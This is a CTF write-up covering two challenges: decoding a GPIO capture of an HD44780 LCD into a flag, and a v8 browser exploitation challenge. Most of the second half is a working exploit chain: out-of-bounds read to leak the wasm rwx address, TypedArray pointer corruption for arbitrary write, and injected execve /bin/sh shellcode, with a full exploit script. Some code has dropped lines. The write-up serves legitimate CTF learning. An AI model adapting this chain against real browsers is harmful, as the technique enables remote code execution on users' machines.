# GPIO Tap

## Problem

We managed to intercept some traffic on the GPIOs, can you find out what was transmitted?

## Solution

From the given image, we can deduce two important information:

1. A HD44780 LCD display and a raspberry pi are used.
2. The pin semantics are as the following:
• GPIO 23 → D4
• GPIO 17 → D5
• GPIO 18 → D6
• GPIO 22 → D7
• GPIO 24 → ENABLE
• GPIO 25 → RS

We can use this knowledge along with the source code from the LiquidCrystal library to parse the `tap.gpio` file:

``````with open('./tap.gpio') as f:

data = data.replace('25', 'RS').replace('24', 'ENABLE').replace('23', 'D4').replace('17', 'D5').replace('18', 'D6').replace('22', 'D7')

print data

data = data.split('\n')[1:]

output = 0
for i in [2,1,0,3,9,8,7,10]:
line = data[counter+i]

if 'D' not in line:
print 'error on line {}: {}'.format(counter+i, line)
exit(-1)

output += 1 if line.split(' -> ')[-1] == 'HIGH' else 0
output = output << 1
for i in [4,5,6,11,12,13]:
line = data[counter+i]
if 'ENABLE' not in line:
print 'error on line {}: {}'.format(counter+i, line)
exit(-1)

return output >> 1

counter = 0
while counter < len(data):
line = data[counter]
if 'RS' in line:
msg_type = 'COMMAND' if line.split(' -> ')[-1] == 'LOW' else 'WRITE'
meaning = ''
if msg_type == 'COMMAND' and output & 0x80 != 0:
elif msg_type == 'COMMAND' and output & 0x40 != 0:
elif msg_type == 'COMMAND' and output & 0x20 != 0:
meaning += 'LCD_FUNCTIONSET'
elif msg_type == 'WRITE':
meaning += chr(output)
print '{:10s}: {} ({})'.format(msg_type,hex(output),meaning)
counter += 15
else:
print 'error on line {}: {}'.format(counter, line)
``````
``````\$ python main.py
...
COMMAND   : 0x33 (LCD_FUNCTIONSET)
COMMAND   : 0x32 (LCD_FUNCTIONSET)
COMMAND   : 0xc ()
COMMAND   : 0x28 (LCD_FUNCTIONSET)
COMMAND   : 0x6 ()
COMMAND   : 0x1 ()
COMMAND   : 0xc ()
WRITE     : 0x57 (W)
WRITE     : 0x65 (e)
WRITE     : 0x6c (l)
WRITE     : 0x63 (c)
WRITE     : 0x6f (o)
WRITE     : 0x6d (m)
WRITE     : 0x65 (e)
WRITE     : 0x20 ( )
WRITE     : 0x74 (t)
WRITE     : 0x6f (o)
WRITE     : 0x20 ( )
WRITE     : 0x70 (p)
WRITE     : 0x34 (4)
WRITE     : 0x63 (c)
WRITE     : 0x74 (t)
WRITE     : 0x66 (f)
WRITE     : 0x20 ( )
WRITE     : 0x3a (:)
WRITE     : 0x29 ())
WRITE     : 0x20 ( )
WRITE     : 0x21 (!)
WRITE     : 0x21 (!)
COMMAND   : 0x18 ()
COMMAND   : 0x18 ()
COMMAND   : 0x18 ()
COMMAND   : 0x18 ()
COMMAND   : 0x18 ()
COMMAND   : 0x18 ()
COMMAND   : 0x18 ()
COMMAND   : 0x18 ()
COMMAND   : 0x18 ()
COMMAND   : 0x18 ()
COMMAND   : 0x1 ()
WRITE     : 0x75 (u)
WRITE     : 0x34 (4)
WRITE     : 0x4f (O)
WRITE     : 0x49 (I)
WRITE     : 0x7d (})
WRITE     : 0x72 (r)
WRITE     : 0x70 (p)
WRITE     : 0x7b ({)
WRITE     : 0x5f (_)
WRITE     : 0x74 (t)
WRITE     : 0x70 (p)
WRITE     : 0x34 (4)
WRITE     : 0x47 (G)
WRITE     : 0x5f (_)
WRITE     : 0x6d (m)
WRITE     : 0x50 (P)
WRITE     : 0x70 (p)
WRITE     : 0x77 (w)
WRITE     : 0x61 (a)
``````

We can see not all characters are displayed in sequential order. Instead, the `LCD_SETDDRAMADDR` command is used to determine the location of each symbol. After some sorting, we are able to retrieve the flag:

``````COMMAND   : 0x80 (LCD_SETDDRAMADDR 0)
WRITE     : 0x70 (p)
WRITE     : 0x34 (4)
WRITE     : 0x7b ({)
WRITE     : 0x47 (G)
WRITE     : 0x50 (P)
WRITE     : 0x49 (I)
WRITE     : 0x4f (O)
WRITE     : 0x5f (_)
WRITE     : 0x74 (t)
WRITE     : 0x34 (4)
WRITE     : 0x70 (p)
WRITE     : 0x5f (_)
WRITE     : 0x77 (w)
WRITE     : 0x61 (a)
WRITE     : 0x72 (r)
WRITE     : 0x6d (m)
WRITE     : 0x75 (u)
WRITE     : 0x70 (p)
WRITE     : 0x7d (})
``````

flag: `p4{GPIO_t4p_warmup}`

# Chromatic Aberration

## Problem

Pwn our chrome for fun and profit.

Ok, it’s not really Chrome, but it’s close enough.

Let’s say, it’s chromatic

The memory limit is 64MB

`nc chromatic-aberration.zajebistyc.tf 31004`

## Solution

This is the first browser pwn challenge that I solved, and I learned a lot from this experience. I relied on both past writeups and the v8 source code to solve the challenge. Here are just a few resources that helped me out during the process:

### Identifying the bugs

Looking at the `diff.diff` file, we can see two bugs being introduced into the v8 javascript engine.

The first bug is an out-of-bound read from any string objects:

``````\$ ./bin/d8
V8 version 8.1.307.20
d8> var a = new String();
undefined
d8> a.charCodeAt(1000);
116
``````

The second bug is an out-of-bound write in the `fill` method of a TypedArray:

``````d8> var b = new Uint8Array([0]);
undefined
d8> b.fill(0xff, 1000,1001);
0
``````

### From OOB RW to RCE

From previous readings, I learned that for every WebAssembly instance, v8 will allocate a `rwx` memory region. With an arbitrary write, we can inject shellcode to this region and execute it using the WebAssembly instance.

With this in mind, our plan becomes:

1. leak the memory address of the `rwx` region
2. obtain an arbitrary write to load our shellcode
3. execute the shellcode

#### Memory leaking with OOB read

Utilizing the OOB read that we have, we can leak any value on the heap given its offset.

`d8` has this useful flag `--allow-natives-syntax` which allows us to use the `%DebugPrint` function to inspect javascript objects and get their addresses in memory. Pairing this with `gdb`, we can find the offsets between objects with relative ease.

One thing to note is that v8 uses the last bit of each value to indicate if it is a pointer, so always do `ptr-1` when viewing object memory in `gdb`.

From previous writeups, we know that the address of the `rwx` region is referenced at `wasm_instance_addr+0x68`; therefore, if we obtain the offset between the string object and the wasm instance, we can combine the two and leak the address of the `rwx` region:

``````d8> const wasm_code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80, 0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80, 0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 0x00, 0x0b]);
d8> var a = new String('helloworld');
d8> const wasm_instance = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
d8> %DebugPrint(a)
DebugPrint: 0x379b08084075: [JSPrimitiveWrapper]
...
- value: 0x379b0820f501 <String[#10]: helloworld>  ← the string pointer points to this address +12
...
helloworld
d8> %DebugPrint(wasm_instance)
DebugPrint: 0x379b0820f829: [WasmInstanceObject] in OldSpace
...
[object WebAssembly.Instance]
d8> ^C
...
gef➤  der 0x379b0820f829-1                          ← wasm_instance
0x0000379b0820f828│+0x0000: 0x080406e908243169
...
0x0000379b0820f890│+0x0068: 0x00002a4e747c7000      ← rwx region address that we are looking for
``````

In this case, the offset between the string object and the `rwx` region address is `(0x379b0820f829-1+0x68)-(0x379b0820f501-1+12) == 900`. With this, we get the code below:

``````var m1 = 0, m2 = 0, offset=0;
for (let j = -256; j < 256; j+=4) {
m1 = 0, m2 = 0;
for (let i = 0; i < 4; i++) {
m1 += a.charCodeAt(GENERAL_OFFSET+j+i) << (8*i);
}
for (let i = 0; i < 4; i++) {
m2 += a.charCodeAt(GENERAL_OFFSET+j+4+i) << (8*i);
}
if (m2 !== 0 && m1 !== 0 && (m1&0xfff) === 0 && (m1&0x1000) === 0x1000) {
offset = 3896+j;
console.log('found: '+offset);
break;
}
}
``````

I included an extra loop to search for the correct address around the general_offset becuase the offset varies a bit between executions.

#### Leveling up OOB write to arbitrary write

Now with the `rwx` region address in hand, we need a way to write to it.

From previous writeups, the solution seems to be using an `ArrayBuffer` plus `DataView`; however, I can’t get it to work likely due to changes in the v8 engine.

In the end, I used a `TypedArray`. By modifying its `external_pointer`, I am able to achieve an arbitrary write. I found this method by reading the v8 source code:

``````// https://github.com/v8/v8/blob/4b9b23521e6fd42373ebbcb20ebe03bf445494f9/src/elements.cc
static Object FillImpl(Handle<JSObject> receiver, Handle<Object> obj_value,
uint32_t start, uint32_t end) {
DCHECK(!array->WasDetached());
DCHECK(obj_value->IsNumeric());

ctype value = BackingStore::FromHandle(obj_value);

// Ensure indexes are within array bounds
CHECK_LE(0, start);
CHECK_LE(start, end);
CHECK_LE(end, array->length_value());

DisallowHeapAllocation no_gc;
ctype* data = static_cast<ctype*>(elements->DataPtr()); // ← the location to fill is determined by DataPtr
std::fill(data + start, data + end, value);
return *array;
}

// https://github.com/v8/v8/blob/4b9b23521e6fd42373ebbcb20ebe03bf445494f9/src/objects/fixed-array-inl.h
void* FixedTypedArrayBase::DataPtr() {
return reinterpret_cast<void*>(
base_pointer()->ptr() + reinterpret_cast<intptr_t>(external_pointer())); // ← DataPtr = base_pointer + external_pointer
}
``````

In the code below, I allocated two TypedArrays next to each other. I used the OOB write from the first one to change the `external_pointer` of the second one. After the modification, `buffer` will be able to write to the `rwx` region.

Offsets used here are found using the same method as above (`%DebugPrint` + `gdb`)

``````var d = new Uint8Array([0]);
var buffer = new Uint8Array([0]);

other = [Number(other >> 32n), Number(other & 0xffffffffn)];

[m1, m2] = other;
for (let i = 0; i < 4; i++) {
d.fill(m1&0xff, 164+0x28+4+i, 164+0x28+4+i+1);
m1 >>= 8;
}
for (let i = 0; i < 4; i++) {
d.fill(m2&0xff, 164+0x28+i, 164+0x28+i+1);
m2 >>= 8;
}
``````

#### Shellcode and profit!

Lastly, we use the arbitrary write to inject shellcode into the `rwx` region and trigger it with the wasm_instance. It looks something like this in code:

``````var shellcode = [106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5, 144, 144, 144, 144];
for (let i = 0; i < shellcode.length; i++) {
buffer.fill(shellcode[i], i, i+1);
}

wasm_func();
``````

### Final exploit

Here is the full exploit script:

``````let array_buf = new ArrayBuffer(8);
let buf_view = new DataView(array_buf);

function f2i(f) {
buf_view.setFloat64(0, f);
return [buf_view.getUint32(0), buf_view.getUint32(4)];
}

function i2f(a, b) {
buf_view.setUint32(0, a);
buf_view.setUint32(4, b);

return buf_view.getFloat64(0);
}

function gc() {
for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); }
}

function hex(a, b) {
a = '00000000'+a.toString(16);
b = '00000000'+b.toString(16);
a = a.substring(a.length-8,a.length);
b = b.substring(b.length-8,b.length);
return '0x'+a+b;
}

gc();

const wasm_code = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60,
0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80,
0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80,
0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00,
0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80,
0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80,
0x00, 0x00, 0x41, 0x00, 0x0b
]);
var a = new String('helloworld');
const wasm_instance = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));

const wasm_func = wasm_instance.exports.a;

var d = new Uint8Array([0]);
var buffer = new Uint8Array([0]);

var m1 = 0, m2 = 0, offset=0;
for (let j = -256; j < 256; j+=4) {
m1 = 0, m2 = 0;
for (let i = 0; i < 4; i++) {
m1 += a.charCodeAt(3340+j+i) << (8*i);
}
for (let i = 0; i < 4; i++) {
m2 += a.charCodeAt(3340+j+4+i) << (8*i);
}
if (m2 !== 0 && m1 !== 0 && (m1&0xfff) === 0 && (m1&0x1000) === 0x1000) {
offset = 3896+j;
console.log('found: '+offset);
break;
}
}

other = [Number(other >> 32n), Number(other & 0xffffffffn)];

[m1, m2] = other;
for (let i = 0; i < 4; i++) {
d.fill(m1&0xff, 164+0x28+4+i, 164+0x28+4+i+1);
m1 >>= 8;
}
for (let i = 0; i < 4; i++) {
d.fill(m2&0xff, 164+0x28+i, 164+0x28+i+1);
m2 >>= 8;
}

var shellcode = [106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5, 144, 144, 144, 144];
for (let i = 0; i < shellcode.length; i++) {
buffer.fill(shellcode[i], i, i+1);
}

wasm_func();
``````

flag: `p4{c0mPIling_chr@mium_1s_h4rd_ok?}`

tweet Share